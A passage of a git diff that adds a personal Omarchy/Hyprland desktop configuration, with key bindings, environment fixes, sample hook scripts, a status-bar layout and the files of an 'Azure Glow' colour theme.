plugins/io.github.x3me.nexthop/nexthopd/update.py create mode 100644 plugins/io.github.x3me.nexthop/pathspark.js create mode 100644 plugins/io.github.x3me.nexthop/preview.png create mode 100644 plugins/io.github.x3me.nexthop/readout.js create mode 100644 plugins/io.github.x3me.nexthop/test/fixtures/cf-trace.txt create mode 100644 plugins/io.github.x3me.nexthop/test/fixtures/iw-event.txt create mode 100644 plugins/io.github.x3me.nexthop/test/fixtures/iw-link.txt create mode 100644 plugins/io.github.x3me.nexthop/test/fixtures/ping-losses.txt create mode 100644 plugins/io.github.x3me.nexthop/test/fixtures/ping-replies.txt create mode 100644 plugins/io.github.x3me.nexthop/test/fixtures/ss-rtt-guards.txt create mode 100644 plugins/io.github.x3me.nexthop/test/fixtures/ss-tinp.txt create mode 100644 plugins/io.github.x3me.nexthop/test/pathspark_bounds.js create mode 100644 plugins/io.github.x3me.nexthop/test/support.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_apps.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_cli.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_daemon.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_instruments.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_linkevents.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_net.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_pathspark.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_probes.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_score.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_speedtest.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_state.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_store.py create mode 100644 plugins/io.github.x3me.nexthop/test/test_update.py create mode 100644 plugins/omaplug/AGENTS.md create mode 100644 plugins/omaplug/BarWidget.qml create mode 100644 plugins/omaplug/LICENSE create mode 100644 plugins/omaplug/Panel.qml create mode 100644 plugins/omaplug/README.md create mode 100644 plugins/omaplug/RELEASE_NOTES_1.5.1.md create mode 100644 plugins/omaplug/auto-check-coordinator.sh create mode 100644 plugins/omaplug/manifest.json create mode 100644 plugins/omaplug/marketplace-catalog.sh create mode 100644 plugins/omaplug/nested-widget-toggle.sh create mode 100644 plugins/omaplug/panel/Presentation.js create mode 100644 plugins/omaplug/panel/dialogs/Confirm.qml create mode 100644 plugins/omaplug/panel/dialogs/Install.qml create mode 100644 plugins/omaplug/panel/layout/Page.qml create mode 100644 plugins/omaplug/panel/plugin/Actions.qml create mode 100644 plugins/omaplug/panel/plugin/ContextMenu.qml create mode 100644 plugins/omaplug/panel/plugin/ListingLinks.qml create mode 100644 plugins/omaplug/panel/plugin/Row.qml create mode 100644 plugins/omaplug/panel/updates/Page.qml create mode 100644 plugins/omaplug/plugin-state.sh create mode 100644 plugins/omaplug/preview.png create mode 100644 plugins/omaplug/preview_action.png create mode 100644 plugins/omaplug/preview_add.png create mode 100644 plugins/omaplug/preview_check-update.png create mode 100644 plugins/omaplug/preview_filter.png create mode 100644 plugins/omaplug/preview_filter_2.png create mode 100644 plugins/omaplug/preview_main.png create mode 100644 plugins/omaplug/runtime-state.py create mode 100644 plugins/omaplug/skills/omaplug-security-review/SKILL.md create mode 100644 plugins/omaplug/tests/AutoCheckLogic.qml create mode 100644 plugins/omaplug/tests/DetachedLaunch.qml create mode 100644 plugins/omaplug/tests/auto-check-coordinator-test.sh create mode 100644 plugins/omaplug/tests/auto-check-test.sh create mode 100644 plugins/omaplug/tests/catalog-fetch-test.sh create mode 100644 plugins/omaplug/tests/icon-glyph-test.sh create mode 100644 plugins/omaplug/tests/nested-widget-toggle-test.sh create mode 100644 plugins/omaplug/tests/plugin-metadata-test.cjs create mode 100644 plugins/omaplug/tests/plugin-state-test.sh create mode 100644 plugins/omaplug/tests/quickshell-detached-test.sh create mode 100644 plugins/omaplug/tests/run.sh create mode 100644 plugins/omaplug/tests/security-regression-test.py create mode 100644 plugins/omaplug/tests/update-helper-test.sh create mode 100644 plugins/omaplug/tests/verification-status-test.sh create mode 100644 plugins/omaplug/update-helper.sh create mode 100644 plugins/stappmus.activity-monitor/ActivityController.qml create mode 100644 plugins/stappmus.activity-monitor/LICENSE create mode 100644 plugins/stappmus.activity-monitor/Makefile create mode 100644 plugins/stappmus.activity-monitor/Model.js create mode 100644 plugins/stappmus.activity-monitor/PKGBUILD create mode 100644 plugins/stappmus.activity-monitor/Panel.qml create mode 100644 plugins/stappmus.activity-monitor/ProcessActionController.qml create mode 100644 plugins/stappmus.activity-monitor/README.md create mode 100644 plugins/stappmus.activity-monitor/Sparkline.qml create mode 100644 plugins/stappmus.activity-monitor/activity-power-reader create mode 100644 plugins/stappmus.activity-monitor/activity-sampler create mode 100644 plugins/stappmus.activity-monitor/activity-sampler.cpp create mode 100644 plugins/stappmus.activity-monitor/activity-stats create mode 100644 plugins/stappmus.activity-monitor/manifest.json create mode 100644 plugins/stappmus.activity-monitor/preview-compact.png create mode 100644 plugins/stappmus.activity-monitor/preview-cpu-layouts.png create mode 100644 plugins/stappmus.activity-monitor/preview-expanded.png create mode 100644 plugins/stappmus.activity-monitor/preview.png create mode 100644 plugins/stappmus.activity-monitor/process-signal create mode 100644 plugins/stappmus.activity-monitor/scripts/render-cpu-layouts.js create mode 100644 plugins/stappmus.activity-monitor/stappmus-activity-monitor.sudoers create mode 100644 plugins/stappmus.activity-monitor/test/activity-details-test.sh create mode 100644 plugins/stappmus.activity-monitor/test/activity-native-test.sh create mode 100644 plugins/stappmus.activity-monitor/test/activity-privilege-test.sh create mode 100644 plugins/stappmus.activity-monitor/test/activity-process-action-test.sh create mode 100644 plugins/stappmus.activity-monitor/test/activity-test.sh create mode 100644 plugins/stappmus.activity-monitor/test/all.sh create mode 100644 plugins/stappmus.activity-monitor/test/base-test.sh create mode 100644 terminals/alacritty.toml create mode 100644 terminals/foot.ini create mode 100644 terminals/ghostty.config create mode 100644 terminals/kitty.conf diff --git a/.omarchy-config.json b/.omarchy-config.json new file mode 100644 index 0000000..2215208 --- /dev/null +++ b/.omarchy-config.json @@ -0,0 +1,5 @@ +{ + "format": "omarchy-config", + "version": 1, + "synced_by": "gladimdim.config-sync" +} diff --git a/hypr/apps.lua b/hypr/apps.lua new file mode 100644 index 0000000..137e34b --- /dev/null +++ b/hypr/apps.lua @@ -0,0 +1,3 @@ +-- App-specific window rules (dimuat setelah default Omarchy, jadi menang). +-- Obsidian: tiling penuh seperti browser, opacity penuh (tanpa efek kusam default). +o.window("md.obsidian.Obsidian", { tag = "-default-opacity", float = false, opacity = "1 1 override" }) diff --git a/hypr/autostart.lua b/hypr/autostart.lua new file mode 100644 index 0000000..de1a69a --- /dev/null +++ b/hypr/autostart.lua @@ -0,0 +1,2 @@ +-- Extra autostart processes. +-- o.launch_on_start("my-service") diff --git a/hypr/bindings.lua b/hypr/bindings.lua new file mode 100644 index 0000000..5cf5bc5 --- /dev/null +++ b/hypr/bindings.lua @@ -0,0 +1,13 @@ + +-- config-sync cherry-pick +o.bind("SUPER + C", "Close window", hl.dsp.window.close()) +o.bind("SUPER + E", "File manager", { omarchy = "nautilus" }) +o.bind("SUPER + Q", "Terminal", { omarchy = "terminal" }) +o.bind("SUPER + R", "Omarchy menu", "omarchy-menu toggle") +o.bind("SUPER + SHIFT + C", "Universal copy", universal_clipboard_shortcut("CTRL", "C", "CTRL", "Insert")) +o.bind("SUPER + SHIFT + V", "Universal paste", universal_clipboard_shortcut("CTRL", "V", "SHIFT", "Insert")) +o.bind("SUPER + SHIFT + X", "Universal cut", send_shortcut_once("CTRL", "X")) +hl.unbind("SUPER + SPACE") +hl.unbind("SUPER + V") +hl.unbind("SUPER + W") +hl.unbind("SUPER + X") diff --git a/hypr/envs.lua b/hypr/envs.lua new file mode 100644 index 0000000..a9d2381 --- /dev/null +++ b/hypr/envs.lua @@ -0,0 +1,3 @@ +-- Omarchy VAAPI fix: force Intel iHD for video decode (hypr nvidia.lua sets LIBVA=nvidia which breaks Chromium YouTube on hybrid iGPU display) +hl.env("LIBVA_DRIVER_NAME", "iHD") +hl.env("__EGL_VENDOR_LIBRARY_FILENAMES", "/usr/share/glvnd/egl_vendor.d/50_mesa.json") diff --git a/hypr/hyprland.lua b/hypr/hyprland.lua new file mode 100644 index 0000000..5e587d3 --- /dev/null +++ b/hypr/hyprland.lua @@ -0,0 +1,35 @@ +-- Learn how to configure Hyprland: https://wiki.hypr.land/Configuring/Start/ + +-- Omarchy's bootstrap keeps path setup out of this user config. +dofile((os.getenv("OMARCHY_PATH") or "/usr/share/omarchy") .. "/default/hypr/bootstrap.lua") + +-- Disable all Omarchy default bindings. Add your own in hypr/bindings.lua. +-- omarchy_default_bindings = false +-- +-- Or disable only bindings for Omarchy's preinstalled apps/web apps while +-- keeping core window-manager bindings: +-- omarchy_preinstalled_bindings = false + +-- Load Omarchy defaults. +require("default.hypr.omarchy") + +-- Put your personal overrides in these files. They're loaded after Omarchy's +-- defaults so package updates can improve the defaults without rewriting your +-- ~/.config/hypr files. +require("hypr.monitors") +require("hypr.input") +require("hypr.bindings") +require("hypr.looknfeel") +require("hypr.autostart") + +-- Toggle config flags dynamically. +require("default.hypr.toggles") + +-- VAAPI fix: overwrite nvidia env from default.hypr.nvidia +require("hypr.envs") + +-- App-specific window rules (tiling/opacity per aplikasi). +require("hypr.apps") + +-- Load settings written by OmaSettings (omasettings:managed). +require("hypr.omasettings") diff --git a/hypr/hyprsunset.conf b/hypr/hyprsunset.conf new file mode 100644 index 0000000..a3ba208 --- /dev/null +++ b/hypr/hyprsunset.conf @@ -0,0 +1,14 @@ +# Makes hyprsunset do nothing to the screen by default +# Without this, the default applies some tint to the monitor +profile { + time = 07:00 + identity = true +} + +# To enable auto switch to nightlight, add to your .config/hypr/autostart.lua: +# o.launch_on_start("hyprsunset") +# and use the following: +# profile { +# time = 20:00 +# temperature = 4000 +# } diff --git a/hypr/input.lua b/hypr/input.lua new file mode 100644 index 0000000..d20be92 --- /dev/null +++ b/hypr/input.lua @@ -0,0 +1,57 @@ +-- Keep only your personal input overrides here. Uncommented settings below +-- replace Omarchy's defaults. + +-- Keyboard layout and options. +-- See https://wiki.hypr.land/Configuring/Basics/Variables/#input +-- hl.config({ +-- input = { +-- -- Use multiple keyboard layouts and switch between them with Left Alt + Right Alt. +-- kb_layout = "us,dk,eu", +-- kb_options = "compose:caps,shift:both_capslock_cancel,grp:alts_toggle", +-- +-- -- Use a specific keyboard variant if needed (e.g. intl for international keyboards). +-- kb_variant = "intl", +-- +-- -- Change speed of keyboard repeat. +-- repeat_rate = 40, +-- repeat_delay = 250, +-- +-- -- Start with numlock on by default. +-- numlock_by_default = true, +-- +-- -- Increase sensitivity for mouse/trackpad (default: 0). +-- sensitivity = 0.35, +-- +-- -- Turn off mouse acceleration (default: adaptive). +-- accel_profile = "flat", +-- +-- touchpad = { +-- -- Use natural (inverse) scrolling. +-- natural_scroll = true, +-- +-- -- Use two-finger clicks for right-click instead of lower-right corner. +-- clickfinger_behavior = true, +-- +-- -- Control the speed of your scrolling. +-- scroll_factor = 0.4, +-- +-- -- Enable the touchpad while typing. +-- disable_while_typing = false, +-- +-- -- Left-click-and-drag with three fingers. +-- drag_3fg = 1, +-- }, +-- }, +-- }) + +-- App-specific touchpad scroll speeds. +-- o.window("(Alacritty|kitty|foot)", { scroll_touchpad = 1.5 }) +-- o.window("com.mitchellh.ghostty", { scroll_touchpad = 0.2 }) + +-- Enable touchpad gestures for changing workspaces. +-- See https://wiki.hypr.land/Configuring/Advanced-and-Cool/Gestures/ +-- hl.gesture({ fingers = 3, direction = "horizontal", action = "workspace" }) + +-- Enable touchpad gestures for moving focus (helpful on scrolling layout). +-- hl.gesture({ fingers = 3, direction = "left", action = function() hl.dispatch(hl.dsp.focus({ direction = "l" })) end }) +-- hl.gesture({ fingers = 3, direction = "right", action = function() hl.dispatch(hl.dsp.focus({ direction = "r" })) end }) diff --git a/hypr/looknfeel.lua b/hypr/looknfeel.lua new file mode 100644 index 0000000..a86d053 --- /dev/null +++ b/hypr/looknfeel.lua @@ -0,0 +1,50 @@ +-- Change the default Omarchy look'n'feel. + +-- https://wiki.hypr.land/Configuring/Basics/Variables/#general +-- hl.config({ +-- general = { +-- -- No gaps between windows or borders. +-- gaps_in = 0, +-- gaps_out = 0, +-- border_size = 0, +-- +-- -- Change to niri-like side-scrolling layout. +-- layout = "scrolling", +-- }, +-- }) + +-- https://wiki.hypr.land/Configuring/Basics/Variables/#decoration +-- hl.config({ +-- decoration = { +-- -- Use round window corners. +-- rounding = 8, +-- +-- -- Dim unfocused windows (0.0 = no dim, 1.0 = fully dimmed). +-- dim_inactive = true, +-- dim_strength = 0.15, +-- }, +-- }) + +-- https://wiki.hypr.land/Configuring/Basics/Variables/#animations +-- hl.config({ +-- animations = { +-- -- Disable all animations. +-- enabled = false, +-- }, +-- }) + +-- https://wiki.hypr.land/Configuring/Basics/Variables/#layout +-- hl.config({ +-- layout = { +-- -- Avoid overly wide single-window layouts on wide screens. +-- single_window_aspect_ratio = { 1, 1 }, +-- }, +-- }) + +-- https://wiki.hypr.land/Configuring/Layouts/Scrolling-Layout/ +-- hl.config({ +-- scrolling = { +-- -- See only one column per screen instead of two. +-- column_width = 0.97, +-- }, +-- }) diff --git a/hypr/omasettings.lua b/hypr/omasettings.lua new file mode 100644 index 0000000..6e83e46 --- /dev/null +++ b/hypr/omasettings.lua @@ -0,0 +1,4 @@ +-- Generated by OmaSettings (omasettings:managed) — do not edit by hand. +-- Every value here was set from the OmaSettings window; delete a line +-- to hand that setting back to your own config. + diff --git a/hypr/xdph.conf b/hypr/xdph.conf new file mode 100644 index 0000000..63b66be --- /dev/null +++ b/hypr/xdph.conf @@ -0,0 +1,4 @@ +screencopy { + allow_token_by_default = true + custom_picker_binary = hyprland-preview-share-picker +} diff --git a/omarchy/branding/about.txt b/omarchy/branding/about.txt new file mode 100644 index 0000000..bf3ea8f --- /dev/null +++ b/omarchy/branding/about.txt @@ -0,0 +1,26 @@ +██████████████████████████████████████████████████████ +██████████████████████████████████████████████████████ +████ ████ ████ +████ ████ ████ +████ █████████████████████ ████████ ████ +████ █████████████████████ ████████ ████ +████ ████ ████ ████ +████ ████ ████ ████ +████ ████ ████ ████ +████ ████ ████ ████ +████ ████ ████ ████ +████ ████ ████ ████ +████████████ ████ ████ +████████████ ████ ████ +████ ████ ████ ████ +████ ████ ████ ████ +████ ████ ████ ████ +████ ████ ████ ████ +████ ████ ████ ████ +████ ████ ████ ████ +████ ██████████████████████████████████████ ████ +████ ██████████████████████████████████████ ████ +████ ████ ████ +████ ████ ████ +█████████████████████████████ ████████████████████ +█████████████████████████████ ████████████████████ diff --git a/omarchy/branding/screensaver.txt b/omarchy/branding/screensaver.txt new file mode 100644 index 0000000..47433aa --- /dev/null +++ b/omarchy/branding/screensaver.txt @@ -0,0 +1,10 @@ + ▄▄▄ + ▄█████▄ ▄███████████▄ ▄███████ ▄███████ ▄███████ ▄█ █▄ ▄█ █▄ +███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ +███ ███ ███ ███ ███ ███ ███ ███ ███ ███ █▀ ███ ███ ███ ███ +███ ███ ███ ███ ███ ▄███▄▄▄███ ▄███▄▄▄██▀ ███ ▄███▄▄▄███▄ ███▄▄▄███ +███ ███ ███ ███ ███ ▀███▀▀▀███ ▀███▀▀▀▀ ███ ▀▀███▀▀▀███ ▀▀▀▀▀▀███ +███ ███ ███ ███ ███ ███ ███ ██████████ ███ █▄ ███ ███ ▄██ ███ +███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ + ▀█████▀ ▀█ ███ █▀ ███ █▀ ███ ███ ███████▀ ███ █▀ ▀█████▀ + ███ █▀ diff --git a/omarchy/extensions/omarchy-menu.jsonc b/omarchy/extensions/omarchy-menu.jsonc new file mode 100644 index 0000000..9682396 --- /dev/null +++ b/omarchy/extensions/omarchy-menu.jsonc @@ -0,0 +1,30 @@ +{ + // Extend the Quickshell Omarchy menu with JSONC. + // + // IDs are object keys. The parent is inferred from the dotted id, so + // "personal.notes" appears under "personal", and "personal" appears on the + // root menu. Reuse an existing id to override/extend it. + // + // Fields: + // icon Nerd Font glyph shown in the icon column. + // label Visible row title. + // action Shell command to run. If omitted, the row is a submenu. + // target Existing submenu id to open. Use for links/aliases. + // provider Runtime provider function/command returning JSON rows. + // aliases alternate `omarchy menu summon ` routes; also searchable. + // description Optional subtitle and extra search text. + // when Shell condition; hide row when it fails. + // checked Shell condition; append ✓ when it succeeds. + // + // Examples: + // "personal": {"icon":"","label":"Personal"}, + // "personal.notes": {"icon":"󰎞","label":"Notes","action":"omarchy-launch-editor ~/notes"}, + // "personal.files": {"icon":"","label":"Files","action":"uwsm-app -- nautilus ~/Documents"}, + // + // Only use provider when a provider_name function or command named "name" + // returns JSON rows. Static submenus only need dotted ids. + // + // Example: replace the default About action by reusing the same id. Existing + // fields are kept unless overridden. + // "about": {"icon":"","label":"About","action":"omarchy-launch-or-focus-tui \"zsh -c 'fastfetch; read -k 1'\""}, +} diff --git a/omarchy/hooks/battery-low.d/play-warning-sound.sample b/omarchy/hooks/battery-low.d/play-warning-sound.sample new file mode 100644 index 0000000..61da332 --- /dev/null +++ b/omarchy/hooks/battery-low.d/play-warning-sound.sample @@ -0,0 +1,10 @@ +#!/bin/bash + +# This hook is called with the current battery percentage when the low battery +# notification is sent. To put it into use, remove .sample from this file name. + +SOUND_FILE="/usr/share/sounds/freedesktop/stereo/dialog-warning.oga" + +if omarchy-cmd-present mpv && [[ -f $SOUND_FILE ]]; then + mpv --no-video "$SOUND_FILE" >/dev/null 2>&1 +fi diff --git a/omarchy/hooks/font-set.d/show-font-notification.sample b/omarchy/hooks/font-set.d/show-font-notification.sample new file mode 100644 index 0000000..c1f50ee --- /dev/null +++ b/omarchy/hooks/font-set.d/show-font-notification.sample @@ -0,0 +1,7 @@ +#!/bin/bash + +# This hook is called with the snake-cased name of the font that has just been set. +# To put it into use, remove .sample from this file name. + +# Example: Show the name of the font that was just set. +# omarchy-notification-send -u low "New font" "Your new font is $1" diff --git a/omarchy/hooks/post-boot.d/weather.sample b/omarchy/hooks/post-boot.d/weather.sample new file mode 100644 index 0000000..01857cb --- /dev/null +++ b/omarchy/hooks/post-boot.d/weather.sample @@ -0,0 +1,10 @@ +#!/bin/bash + +# Show the weather status notification after Omarchy has started. +# To put it into use, remove .sample from this file name. + +weather=$(omarchy-weather-status 2>/dev/null) || true + +if [[ -n $weather && $weather != "Weather unavailable" ]]; then + omarchy-notification-send -u low "$weather" +fi diff --git a/omarchy/hooks/post-update.d/install-voxtype.hook b/omarchy/hooks/post-update.d/install-voxtype.hook new file mode 100644 index 0000000..1d07daa --- /dev/null +++ b/omarchy/hooks/post-update.d/install-voxtype.hook @@ -0,0 +1,9 @@ +#!/bin/bash + +set -e + +if omarchy-done ensure voxtype-install-invitation; then + omarchy-notification-send -u critical -g  "Install Dictation with Voxtype" \ + "Click to install voice dictation for Omarchy." \ + --exec omarchy-launch-floating-terminal-with-presentation omarchy-voxtype-install +fi diff --git a/omarchy/hooks/post-update.d/setup-agent.hook b/omarchy/hooks/post-update.d/setup-agent.hook new file mode 100644 index 0000000..90596b8 --- /dev/null +++ b/omarchy/hooks/post-update.d/setup-agent.hook @@ -0,0 +1,11 @@ +#!/bin/bash + +set -e + +# Omarchy ships no default agent, so invite once rather than picking one. An +# agent already chosen means the invitation has nothing to offer. +if [[ -z $(omarchy-default-agent) ]] && omarchy-done ensure agent-setup-invitation; then + omarchy-notification-send -u critical -g 󰚩 "Set your default agent" \ + "Let your favorite agent help with Omarchy." \ + --exec omarchy menu summon setup.default.agent +fi diff --git a/omarchy/hooks/post-update.d/setup-fingerprint.hook b/omarchy/hooks/post-update.d/setup-fingerprint.hook new file mode 100644 index 0000000..2861eef --- /dev/null +++ b/omarchy/hooks/post-update.d/setup-fingerprint.hook @@ -0,0 +1,12 @@ +#!/bin/bash + +set -e + +# Only invite when there's a reader to use and it isn't set up yet (the lock +# PAM file is the last thing the setup writes on success). +if omarchy-hw-fingerprint && [[ ! -f /etc/pam.d/omarchy-lock-fingerprint ]] && + omarchy-done ensure fingerprint-setup-invitation; then + omarchy-notification-send -u critical -g 󰈷 "Setup Fingerprint Reader" \ + "Enable sudo and unlocking with your fingerprint." \ + --exec omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fingerprint +fi diff --git a/omarchy/hooks/post-update.d/show-update-notification.sample b/omarchy/hooks/post-update.d/show-update-notification.sample new file mode 100644 index 0000000..929e1e2 --- /dev/null +++ b/omarchy/hooks/post-update.d/show-update-notification.sample @@ -0,0 +1,7 @@ +#!/bin/bash + +# This hook is called after an Omarchy system update has been performed. +# To put it into use, remove .sample from this file name. + +# Example: Show notification after the system has been updated. +# omarchy-notification-send -u low "Update Performed" "Your system is now up to date" diff --git a/omarchy/hooks/pre-refresh-pacman.d/add-custom-repo.sample b/omarchy/hooks/pre-refresh-pacman.d/add-custom-repo.sample new file mode 100644 index 0000000..cebec4f --- /dev/null +++ b/omarchy/hooks/pre-refresh-pacman.d/add-custom-repo.sample @@ -0,0 +1,24 @@ +#!/bin/bash + +# This hook is called by `omarchy refresh pacman` AFTER the channel template +# is copied to /etc/pacman.conf and BEFORE `pacman -Syyuu` runs. Use it to +# layer customizations onto the freshly-written pacman.conf so they're +# respected by the upgrade — common cases are adding a custom repository +# (e.g. CachyOS, Chaotic-AUR, an internal company repo) or extra IgnorePkg +# lines. +# +# The hook runs as the invoking user with a warm sudo cache. +# +# To put it into use, remove .sample from this file name. + +# Example: add an Include line above [core] for a custom repo. +# Maintain the repo entries in /etc/pacman.d/custom-repos.conf yourself. + +CONF=/etc/pacman.conf +SNIPPET=/etc/pacman.d/custom-repos.conf +MARKER="Include = $SNIPPET" + +[[ -r $SNIPPET ]] || exit 0 +grep -qxF "$MARKER" "$CONF" && exit 0 + +sudo sed -i "0,/^\[core\]/s||$MARKER\n\n[core]|" "$CONF" diff --git a/omarchy/hooks/theme-set.d/show-theme-notification.sample b/omarchy/hooks/theme-set.d/show-theme-notification.sample new file mode 100644 index 0000000..d224db7 --- /dev/null +++ b/omarchy/hooks/theme-set.d/show-theme-notification.sample @@ -0,0 +1,7 @@ +#!/bin/bash + +# This hook is called with the snake-cased name of the theme that has just been set. +# To put it into use, remove .sample from this file name. + +# Example: Show the name of the theme that was just set. +# omarchy-notification-send -u low "New theme" "Your new theme is $1" diff --git a/omarchy/shell.json b/omarchy/shell.json new file mode 100644 index 0000000..67154aa --- /dev/null +++ b/omarchy/shell.json @@ -0,0 +1,90 @@ +{ + "version": 1, + "idle": { + "screensaver": 150, + "lock": 300 + }, + "bar": { + "position": "top", + "transparent": false, + "centerAnchor": "omarchy.clock", + "layout": { + "left": [ + { + "id": "omarchy.menu" + }, + { + "id": "omarchy.workspaces" + } + ], + "center": [ + { + "id": "omarchy.indicators" + }, + { + "id": "omarchy.clock", + "format": "dddd HH:mm", + "formatAlt": "d MMMM 'W'ww yyyy", + "verticalFormat": "HH\n—\nmm" + }, + { + "id": "omarchy.keyboard-layout" + }, + { + "id": "omarchy.weather" + }, + { + "id": "omarchy.media" + }, + { + "id": "omarchy.microphone" + }, + { + "id": "omarchy.system-update" + } + ], + "right": [ + { + "id": "omarchy.tray" + }, + { + "id": "io.github.x3me.nexthop" + }, + { + "id": "io.github.elevate08.qs-bitwarden-cli" + }, + { + "id": "gladimdim.config-sync" + }, + { + "id": "omarchy.tailscale" + }, + { + "id": "stappmus.activity-monitor" + }, + { + "id": "omaplug" + }, + { + "id": "omarchy.agents" + }, + { + "id": "omarchy.bluetooth" + }, + { + "id": "omarchy.network" + }, + { + "id": "omarchy.audio" + }, + { + "id": "omarchy.monitor" + }, + { + "id": "omarchy.power" + } + ] + } + }, + "plugins": [] +} diff --git a/omarchy/shell.toml b/omarchy/shell.toml new file mode 100644 index 0000000..33f11c7 --- /dev/null +++ b/omarchy/shell.toml @@ -0,0 +1,2 @@ +[font] +base-size = 9 diff --git a/omarchy/theme.name b/omarchy/theme.name new file mode 100644 index 0000000..8f1e446 --- /dev/null +++ b/omarchy/theme.name @@ -0,0 +1 @@ +azure-glow diff --git a/omarchy/themes/azure-glow/README.md b/omarchy/themes/azure-glow/README.md new file mode 100644 index 0000000..cdf830e --- /dev/null +++ b/omarchy/themes/azure-glow/README.md @@ -0,0 +1,81 @@ +# Azure Glow Theme + +A deep, cyber-ocean aesthetic — shadowy bases lit by bright azure and electric teal highlights. Designed for people who want their desktop to feel like it’s running on pure bioluminescence. + +![Azure Glow Theme Preview](./preview.png) + +--- + +## Design Notes +- **True depth**: Midnight backgrounds with subtle gradients +- **Pops of light**: Vivid blues that feel alive in the dark +- **Readable at a glance**: High-contrast, glow-ready palette +- **One vision, everywhere**: Synced colors across terminal, bar, lock screen, and notifications + +--- + +## Color DNA + +### Core Shades +| Purpose | Hex | Name | +|-------------|-----------|------------------------| +| Background | `#0a0f14` | Abyss Black-Blue | +| Foreground | `#a9dfff` | Soft Ice Blue | +| Secondary | `#101820` | Deep Graphite | + +### Accents +| Role | Hex | Description | +|----------|-----------|--------------------------| +| Primary | `#00bfff` | Neon Azure | +| Secondary| `#00e0ff` | Electric Cyan | +| Success | `#2affd5` | Aqua Mint | +| Warning | `#ffd43b` | Soft Amber | +| Error | `#ff4c4c` | Signal Red | +| Info | `#33d4ff` | Sky Glow | + +--- + +## Terminal Palette + +| Color | Normal | Bright | +|----------|-----------|-----------| +| Black | `#101820` | `#1c2833` | +| Red | `#ff4c4c` | `#ff6b6b` | +| Green | `#2affd5` | `#4dffd9` | +| Yellow | `#ffd43b` | `#ffdf70` | +| Blue | `#00bfff` | `#4dcfff` | +| Magenta | `#9a6bff` | `#b594ff` | +| Cyan | `#00e0ff` | `#4deeff` | +| White | `#a9dfff` | `#ffffff` | + +--- + +## What’s Themed +- **Alacritty** — deep ocean backdrop with crisp, glowing colors +- **Hyprland** — azure → cyan gradient active borders +- **Waybar** — cool-tone indicators with subtle luminance +- **Mako** — glowing borders on notifications +- **Btop** — gradients that mimic underwater light rays +- **Neovim** — syntax colors matched to the Azure Glow palette +- **Hyprlock** — soft blue glow lock screen motif + +--- + +## Install +To install this theme, use the `omarchy-theme-install` command: + +```bash +omarchy-theme-install https://github.com/Hydradevx/omarchy-azure-glow-theme +``` + +--- + +## Wallpaper Ideas +- Minimalist dark blue gradients with glow streaks +- Underwater photography with bright blue plankton +- Futuristic cityscapes at night with cyan lighting +- Abstract lightwave renders + +--- + +**Tip:** Works beautifully with transparent windows and background blur for a real “underwater cyberpunk” vibe. diff --git a/omarchy/themes/azure-glow/alacritty.toml b/omarchy/themes/azure-glow/alacritty.toml new file mode 100644 index 0000000..74893c8 --- /dev/null +++ b/omarchy/themes/azure-glow/alacritty.toml @@ -0,0 +1,37 @@ +[colors.primary] +background = "#0a0f1a" # Deep ocean black-blue +foreground = "#a8dfff" # Icy azure glow + +[colors.cursor] +cursor = "#00ccff" # Electric cyan beam +text = "#0a0f1a" # Dark contrast + +[colors.normal] +black = "#0d1b26" # Abyssal navy +red = "#0099cc" # Bright cerulean +green = "#00e0b8" # Tropical aqua +yellow = "#33ccff" # Sky flash +blue = "#00aaff" # Bold azure +magenta = "#3399ff" # Deep sky fusion +cyan = "#66e0ff" # Frosted cyan +white = "#cceeff" # Snow drift + +[colors.bright] +black = "#123247" # Steel blue shadow +red = "#33ccff" # Neon sky +green = "#33ffdd" # Glacial mint +yellow = "#66ddff" # Arc light +blue = "#33bbff" # Vibrant azure +magenta = "#66b2ff" # Cloud-washed blue +cyan = "#99eeff" # Crystal haze +white = "#ffffff" # Pure white glow + +[font] +normal.family = "JetBrainsMono Nerd Font" +size = 11.0 + +[window] +padding.x = 10 +padding.y = 10 +opacity = 0.95 + diff --git a/omarchy/themes/azure-glow/btop.theme b/omarchy/themes/azure-glow/btop.theme new file mode 100644 index 0000000..4f1e58d --- /dev/null +++ b/omarchy/themes/azure-glow/btop.theme @@ -0,0 +1,60 @@ +# Azure Glow Theme for Btop +# Electric blues and radiant cyan with deep abyss backgrounds + +theme[main_bg]="#0a0a14" +theme[main_fg]="#b4dcff" + +theme[title]="#00aaff" +theme[hi_fg]="#d0f0ff" +theme[selected_bg]="#00334d" +theme[selected_fg]="#00ccff" +theme[inactive_fg]="#00334d" + +theme[proc_misc]="#b4dcff" + +theme[cpu_box]="#00aaff" +theme[mem_box]="#00e5ff" +theme[net_box]="#00ccff" +theme[proc_box]="#0099ff" + +theme[div_line]="#00334d" + +theme[graph_text]="#66ccff" + +# CPU gradients - from deep azure (low) to sky cyan to electric blue (high) +theme[cpu_start]="#0055ff" +theme[cpu_mid]="#00ccff" +theme[cpu_end]="#00f0ff" + +# Memory gradients - from icy blue to bright cyan +theme[mem_start]="#66d9ff" +theme[mem_mid]="#00bfff" +theme[mem_end]="#0099cc" + +# Network gradients - from bright cyan to aqua +theme[download_start]="#00e5ff" +theme[download_mid]="#00ccff" +theme[download_end]="#0099ff" + +theme[upload_start]="#00ccff" +theme[upload_mid]="#00b3ff" +theme[upload_end]="#66ccff" + +# Process gradients - vibrant cyan to aqua blue +theme[process_start]="#00e5ff" +theme[process_mid]="#00ccff" +theme[process_end]="#0099ff" + +# Temperature gradients - from cool blue to brighter cyan +theme[temp_start]="#66d9ff" +theme[temp_mid]="#00ccff" +theme[temp_end]="#0099ff" + +# Battery gradient - cool cyan tones +theme[battery_start]="#00e5ff" +theme[battery_mid]="#00ccff" +theme[battery_end]="#0099ff" + +theme[clock]="#d0f0ff" +theme[input_text]="#ffffff" +theme[error_text]="#00ffff" diff --git a/omarchy/themes/azure-glow/hyprland.conf 